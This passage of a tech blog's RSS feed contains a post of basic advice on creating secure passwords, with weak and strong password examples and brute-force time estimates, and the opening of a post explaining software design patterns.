      <summary>&lt;p&gt;In the previous post I talked about some &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/linux/how-to-create-a-secure-password/&#34;&gt;good practices using passwords&lt;/a&gt;&#xA;. One of the recommendations was to use a different password for each website. However, remembering many passwords is complicated and saving passwords in plain text is unthinkable if we value our computer security at all. There are quite a few password managers available, this post is a tutorial of keepassxc, a &lt;strong&gt;free, open source and super secure&lt;/strong&gt; password manager.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>How to create a secure password?</title>
      <link>https://coffeebytes.dev/en/linux/how-to-create-a-secure-password/</link>
      <pubDate>Thu, 02 Jul 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/linux/how-to-create-a-secure-password/</guid>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;One of my friends worked as an IT security auditor for a company whose name I will not mention for obvious reasons. Eventually our conversion got to the topic of his day to day work life, I asked him about his duties at the company and he replied that his job consisted mainly of nagging and educating employees about how weak their passwords were. The critical part of this is that many of those employees were in charge of setting up the computer systems for the clients they worked for. Yes, IT professionals being careless with their passwords, you&amp;rsquo;d think it would be impossible, but it&amp;rsquo;s far more common than you&amp;rsquo;d think. Few people know how to create a secure password.&lt;/p&gt;&#xA;&lt;p&gt;For the above reason I have decided to share a bit of what I have read about it in blogs, books and videos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;weak-passwords-are-risky&#34;&gt;Weak passwords are risky&lt;/h2&gt;&#xA;&lt;p&gt;They say that a chain is only as strong as its weakest link. Passwords are in many cases the weakest link. A computer system may be free of vulnerabilities and have the latest security patches, but it&amp;rsquo;s no good if all that is protected by a weak password. And no, I&amp;rsquo;m not talking about abandoning passwords like &amp;ldquo;admin123&amp;rdquo; or &amp;ldquo;firulais&amp;rdquo; in favor of their modified versions: &amp;ldquo;4dm1n123&amp;rdquo; or &amp;ldquo;f1rul415&amp;rdquo;. I&amp;rsquo;m talking about the fact that passwords should be more of a wall for attackers than a second entrance to your systems.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;what-does-a-secure-password-look-like&#34;&gt;What does a secure password look like?&lt;/h2&gt;&#xA;&lt;p&gt;What characteristics must a password have to be secure? A secure password must have several characteristics to make life difficult for cyber criminals. Here are my tips for creating a good and secure password.&lt;/p&gt;&#xA;&lt;h2 id=&#34;create-a-long-password&#34;&gt;Create a long password&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;The shorter a password is, the easier it is to obtain it by brute force&lt;/strong&gt;. Considering the current processing power of computers, passwords with less than 8 characters are practically an invitation for someone to enter our accounts.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;**** &lt;span style=&#34;color:#78787e&#34;&gt;# Awful&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;******** &lt;span style=&#34;color:#78787e&#34;&gt;# Bad&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;******************** &lt;span style=&#34;color:#78787e&#34;&gt;# Good&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;keep-your-passwords-separate-from-personal-information&#34;&gt;Keep your passwords separate from personal information&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;It&amp;rsquo;s tempting enough to create an easy-to-remember password using your partner&amp;rsquo;s name, your birthday or the name of your loved ones, your address, your cell phone number or your pet&amp;rsquo;s name, but it&amp;rsquo;s very insecure; anyone can have access to that information. A quick look at your social networks or a chat with one of your acquaintances is enough to get all that information.&lt;/p&gt;&#xA;&lt;p&gt;&amp;ldquo;But, what happens is that my password is a mixture of those things&amp;rdquo;, no, still, it&amp;rsquo;s not enough. There are programs like &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/magnumripper/JohnTheRipper&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;JohnTheRipper&lt;/a&gt;&#xA; capable of generating all possible combinations from your personal data, so it is not secure in any way. Your password should not have parts that can be obtained from a conversation with you or your acquaintances. Again, **your password should not be based on any personal information related to you.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CalleFalsa123 &lt;span style=&#34;color:#78787e&#34;&gt;# Never use your street name&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;5555551111&lt;/span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# Using your phone number is a nono&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;19-oct-1990 &lt;span style=&#34;color:#78787e&#34;&gt;# Please never use your birthday date as a part of a password&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;avoid-passwords-that-appear-in-dictionaries&#34;&gt;Avoid passwords that appear in dictionaries&lt;/h2&gt;&#xA;&lt;p&gt;There are a lot of dictionaries on the net with the most popular passwords, such as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/praetorian-code/Hob0Rules/blob/master/wordlists/rockyou.txt.gz&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;rockyou&lt;/a&gt;&#xA;, some even list all those passwords that have been obtained from website hacks.&lt;/p&gt;&#xA;&lt;p&gt;Make sure that your password is not in any of these dictionaries. A potential attacker will always use passwords from the most common dictionaries to try to compromise a system, if your password is in one of these dictionaries it is almost certain that your account will be an easy target.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Never use common passwords&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iloveyou &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Qwerty&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;password1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;adobe123&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;use-a-different-password-for-each-web-site&#34;&gt;Use a different password for each web site.&lt;/h2&gt;&#xA;&lt;p&gt;There are many people who use a single password for all their websites; email, social networks, hosting, cell phones, etc.&lt;/p&gt;&#xA;&lt;p&gt;A single password is very easy to remember, but if someone finds out, they will have access to all the accounts you have under the same password. It is much better to have a different password for each website. That way, in case someone finds out that password, only one account will be compromised. In addition, if a leak of any website occurs, the rest of your accounts will remain safe.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Don&amp;#39;t do this&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Passwords &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt;: aws, gmail, netifly, bank: password1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Use different passwords for each account&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aws: Hc4NL5sDr7VvhgL3AkTk&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gmail: caJiJiNa9fUWQ6GZRHdB&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;netifly: 2Sdmsi2CaVZksfEEVf5U&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;avoid-sequential-characters&#34;&gt;Avoid sequential characters&lt;/h2&gt;&#xA;&lt;p&gt;Many passwords contain sequential characters such as &amp;ldquo;1234&amp;rdquo;, &amp;ldquo;abcde&amp;rdquo;, &amp;ldquo;xyz&amp;rdquo;, &amp;ldquo;789&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Prevents characters from having a predictable sequence. Make sure that the different characters in your passwords are not next to each other in the alphabet or ordinal numbers.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Avoid this&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Increible123&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;potato789&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;xyz123456&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;abc2020&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;variety-is-good&#34;&gt;Variety is good&lt;/h2&gt;&#xA;&lt;p&gt;&lt;strong&gt;Make sure your password includes uppercase, lowercase, special characters and numbers, mixed&lt;/strong&gt;. This way we greatly increase the number of attempts an attacker has to make to obtain a password, since now he will have to include special characters, numbers, uppercase and lowercase letters in each attempt.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;aliensaristoteleselectron &lt;span style=&#34;color:#78787e&#34;&gt;# Lowercase&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;AliensAristotelesElectroN &lt;span style=&#34;color:#78787e&#34;&gt;# Lowercase and Uppercase&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;9Aliens1Aristoteles32ElectroN &lt;span style=&#34;color:#78787e&#34;&gt;# Uppercase, Lowercase and numbers&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;9&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;Aliens&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;1|Aristoteles|32-ElectroN- &lt;span style=&#34;color:#78787e&#34;&gt;#Uppercase, Lowercase, numbers and special characters&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;make-sure-that-the-estimated-time-to-break-your-password-is-long&#34;&gt;Make sure that the estimated time to break your password is long.&lt;/h2&gt;&#xA;&lt;p&gt;You must remember that &lt;strong&gt;absolutely all passwords can be obtained by brute force&lt;/strong&gt;, what makes the difference is the time it takes to achieve this. When we create a strong password we are not aiming to have a password that is impossible to break, &lt;strong&gt;but one where the time it takes to break it makes it impractical for the attacker&lt;/strong&gt;, **there are websites where you can find out the estimated time to obtain a given password by brute force.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Important note:&lt;/strong&gt; The website I will post is for informational purposes. &lt;strong&gt;Never type a password you use (or will use) on a website you don&amp;rsquo;t know&lt;/strong&gt; (including this one), you don&amp;rsquo;t know if they can store it for later use. I already made sure that the website doesn&amp;rsquo;t send web requests when used. But, even so, it&amp;rsquo;s bad practice to type your passwords on other websites, don&amp;rsquo;t do it.&lt;/p&gt;&#xA;&lt;p&gt;Well, once warned you can visit it by going to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://howsecureismypassword.net/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;this link&lt;/a&gt;&#xA;. Anyway here are some examples of passwords and the approximate time it would take to break them by brute force.&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Contraseña&lt;/th&gt;&#xA;          &lt;th&gt;Tiempo&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;firulais&lt;/td&gt;&#xA;          &lt;td&gt;5 seconds&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;admin123&lt;/td&gt;&#xA;          &lt;td&gt;1 minute&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;F1rul415&lt;/td&gt;&#xA;          &lt;td&gt;1 minute&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;unP3rritoTrist3:(&lt;/td&gt;&#xA;          &lt;td&gt;3 quadrillions years&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;jXkeLCfcPfTqtCFEtMFy&lt;/td&gt;&#xA;          &lt;td&gt;16 quadrillions years&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;v&amp;lt;eVZ&amp;amp;C=&amp;gt;-h-3H9`%y5*&lt;/td&gt;&#xA;          &lt;td&gt;6 Sextillion years&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Aristoteles-Tira-Rocas-A-Platon&lt;/td&gt;&#xA;          &lt;td&gt;300 undecillion years&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Data obtained from &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://howsecureismypassword.net&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://howsecureismypassword.net&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;It can be seen that even though including numbers in a password does not automatically make it strong, on the other hand the longer the password and the presence of special characters. It does not necessarily have to be an unreadable password composed of random characters, in fact it is often better to have a password composed of words or a phrase that makes sense **only to you.&lt;/p&gt;&#xA;&lt;h2 id=&#34;a-little-more-about-security&#34;&gt;A little more about security&lt;/h2&gt;&#xA;&lt;p&gt;Even if you have a very strong password it will be completely useless if an attacker figures it out using methods other than brute force. Here are a few tips on computer security related to passwords.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Avoid entering your password on public computers, you never know if there is a physical or virtual keylogger installed.&lt;/li&gt;&#xA;&lt;li&gt;Stay away from websites that are not encrypted, always prefer websites that use HTTPS instead of HTTP.&lt;/li&gt;&#xA;&lt;li&gt;Don&amp;rsquo;t enter passwords on public networks, such as coffee shops or open networks, you never know if the network is falling prey to a MITM attack.&lt;/li&gt;&#xA;&lt;li&gt;Beware of people looking at you as you type, sometimes it is more effective for an attacker to take a direct look at your passwords as you type them than to discover a vulnerability in your system.&lt;/li&gt;&#xA;&lt;li&gt;Never write down your passwords on sticky notes or notebooks that can be accessed by others. Pasting your passwords in your office cubicle is a lousy idea.&lt;/li&gt;&#xA;&lt;li&gt;Never ever tell your passwords to absolutely anyone by phone or other means, this is a social engineering tactic with a high success rate and we can all become victims in an oversight.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;there-are-easier-ways-to-manage-passwords&#34;&gt;There are easier ways to manage passwords&lt;/h2&gt;&#xA;&lt;p&gt;But isn&amp;rsquo;t all of the above a lot of hassle? Yes, in fact it is quite complicated to maintain a secure system using strong passwords, that&amp;rsquo;s why there are programs and websites that take care of managing your passwords so you don&amp;rsquo;t have to worry about many of the things I just mentioned. Enter the following post to know keepassx, the tool I currently use to manage my passwords and learn how to use it.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;One of my friends worked as an IT security auditor for a company whose name I will not mention for obvious reasons. Eventually our conversion got to the topic of his day to day work life, I asked him about his duties at the company and he replied that his job consisted mainly of nagging and educating employees about how weak their passwords were. The critical part of this is that many of those employees were in charge of setting up the computer systems for the clients they worked for. Yes, IT professionals being careless with their passwords, you&amp;rsquo;d think it would be impossible, but it&amp;rsquo;s far more common than you&amp;rsquo;d think. Few people know how to create a secure password.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Design Patterns In Software</title>
      <link>https://coffeebytes.dev/en/python/design-patterns-in-software/</link>
      <pubDate>Sun, 31 May 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/python/design-patterns-in-software/</guid>
      
      <category>python</category>
      
      <category>algorithms</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Design patterns are common solutions to common problems, represented by entities and the relationships between them in programming, among them you have probably already heard of some such as: singleton, MVC or MTV, observer, among others. But that explanation of design patterns is too technical for a first approach, let me simplify it below.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-are-design-patterns&#34;&gt;What are design patterns?&lt;/h2&gt;&#xA;&lt;p&gt;When we want to move from one place to another for short distances we use a land vehicle, these generally have 3 elements: wheels, a surface where we will place the object or person to transport and a medium that generates or transfers the energy necessary for the movement. The wheels generally go in contact with the ground and the propulsion method is attached to the wheels to make them rotate and allow the movement.&lt;/p&gt;&#xA;&lt;p&gt;When a person wants to create a vehicle that performs the function of transporting an object over land they will generally think of these elements and work on those elements to modify them to create something different or more sophisticated. This union of objects is a &lt;strong&gt;design pattern&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;design-patterns-in-software&#34;&gt;Design Patterns in Software&lt;/h2&gt;&#xA;&lt;p&gt;Now imagine that you want to have only one instance of a class running at a time, so you decide that the process for doing this is as follows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check to see if there is an instance running.&lt;/li&gt;&#xA;&lt;li&gt;If it does not exist, create it and return it.&lt;/li&gt;&#xA;&lt;li&gt;If it already exists return that one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;It is as simple as that. This solution would be a design pattern to the common problem of running a single instance.&#xA;In software, design patterns are the same, they are the arrangement and specific relationships of objects, methods and attributes that allow us to solve a problem. What kind of problems? Practically any problem that arises too frequently to come up with a standardized solution.&lt;/p&gt;&#xA;&lt;p&gt;Some common problems are: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/worker-pool-design-pattern-explanation/&#34;&gt;processing tasks using a fixed number of workers&lt;/a&gt;&#xA;, making sure that there is only one instance of a class running, adapting a complicated and impossible to modify API to a simpler and easier to understand one, or separating the part that handles the database, the part that decides the logic and the part that displays the HTML content of a web page.&lt;/p&gt;&#xA;&lt;p&gt;Does this last one ring a bell? Yes, the MVC pattern used by many &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/why-should-you-use-django-framework/&#34;&gt;frameworks, such as django&lt;/a&gt;&#xA;, is a design pattern, or the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/javascript/debounce-and-throttle-interactive-explanation/&#34;&gt;debounce-and-throttle&lt;/a&gt;&#xA; pattern used mainly in JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;Another example is the well-known &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/composition-over-inheritance-quickly-explained-with-legos/&#34;&gt;&amp;ldquo;composition over inheritance&amp;rdquo;&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Design patterns make it easier to decouple the code, which makes it simpler to add or remove functions and also gives us the assurance that they are solutions that have already been tested over and over again over the years.&lt;/p&gt;&#xA;&lt;h2 id=&#34;most-common-design-patterns-in-software&#34;&gt;Most common design patterns in software&lt;/h2&gt;&#xA;&lt;p&gt;There are numerous patterns in existence as problems to be solved, and patterns can be combined with each other in complex systems. However 